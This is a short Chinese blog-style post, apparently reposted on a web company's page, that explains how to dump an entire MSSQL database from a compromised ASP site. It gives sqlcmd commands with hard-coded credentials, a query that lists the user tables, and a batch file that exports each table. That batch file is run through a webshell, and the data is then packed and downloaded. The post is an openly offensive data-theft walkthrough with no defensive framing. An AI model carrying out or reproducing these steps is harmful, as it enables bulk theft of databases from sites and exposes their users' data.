点击这里给我发消息 点击这里给我发消息

sqlcmd脱mssql数据库【大型库很有效】

添加时间:2013-12-7
    相关阅读: 数据库 网站
近日碰带一个脱裤的环境:
asp+mssql的环境,网站数据库分离的
想脱所有库里的内容
 
尝试多种脱裤的脚本,都有点差强人意
尝试ssql.asp 虽然也行
但是库内容比较大,脚本每次执行的有大小限制,比如每次只能查询10000条语句,
就的分多次查询,但数据有几十万,这样执行也非常难受
 
后来发现命令行下有sqlcmd这个工具,可远程执行sql命令
 
于是尝试远程备份数据库,执行命令如下
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "backup database xxx to disk='c:\\temp\\xxx.bak'"
 
但是失败,后分析了下该cms账号为public权限,没有备份权限
于是换一种思路
分别将库里的所有表给备份出来
 
首先获取该库下的所有用户表名
select name from cms.dbo.sysobjects where xtype='U'
 
然后做成一个批处理
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table1">>c:\\temp\\table1.txt
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table2">>c:\\temp\\table2.txt
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table3">>c:\\temp\\table3.txt
sqlcmd -U cms -P qwe123!@#  -S 192.168.10.10  -Q "select * from table4">>c:\\temp\\table4.txt
.......
 
这样在webshell在执行该批处理即可,几十万的数据几秒内就导出到web服务器上了 ,然后利用rar打包 迅雷下载 完工​
咨询热线:020-85648757 85648755 85648616 0755-27912581 客服:020-85648756 0755-27912581 业务传真:020-32579052
广州市网景网络科技有限公司 Copyright◎2003-2008 Veelink.com. All Rights Reserved.
广州商务地址:广东省广州市黄埔大道中203号(海景园区)海景花园C栋501室
= 深圳商务地址:深圳市宝源路华丰宝源大厦606
研发中心:广东广州市天河软件园海景园区 粤ICP备05103322号 工商注册